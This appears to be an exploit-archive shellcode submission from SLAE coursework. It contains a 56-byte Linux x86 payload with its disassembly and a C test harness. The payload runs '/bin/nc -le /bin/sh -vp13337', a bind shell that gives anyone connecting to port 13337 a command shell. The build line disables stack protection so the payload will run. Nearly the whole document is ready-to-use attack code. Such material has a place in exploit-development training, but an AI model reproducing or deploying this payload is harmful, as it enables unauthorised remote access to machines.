/* # Linux x86 /bin/nc -le /bin/sh -vp13337 shellcode(56bytes) # Author: Author: sajith # Tested on: i686 GNU/Linux # Shellcode Length: 56 #SLAE - 750 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor eax,eax 8048062: 50 push eax 8048063: 68 33 33 33 37 push 0x37333333 8048068: 68 2d 76 70 31 push 0x3170762d 804806d: 89 e6 mov esi,esp 804806f: 50 push eax 8048070: 68 2f 2f 73 68 push 0x68732f2f 8048075: 68 2f 62 69 6e push 0x6e69622f 804807a: 68 2d 6c 65 2f push 0x2f656c2d 804807f: 89 e7 mov edi,esp 8048081: 50 push eax 8048082: 68 2f 2f 6e 63 push 0x636e2f2f 8048087: 68 2f 62 69 6e push 0x6e69622f 804808c: 89 e3 mov ebx,esp 804808e: 50 push eax 804808f: 56 push esi 8048090: 57 push edi 8048091: 53 push ebx 8048092: 89 e1 mov ecx,esp 8048094: b0 0b mov al,0xb 8048096: cd 80 int 0x80 gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include #include unsigned char code[] = \ "\x31\xc0\x50\x68\x33\x33\x33\x37\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }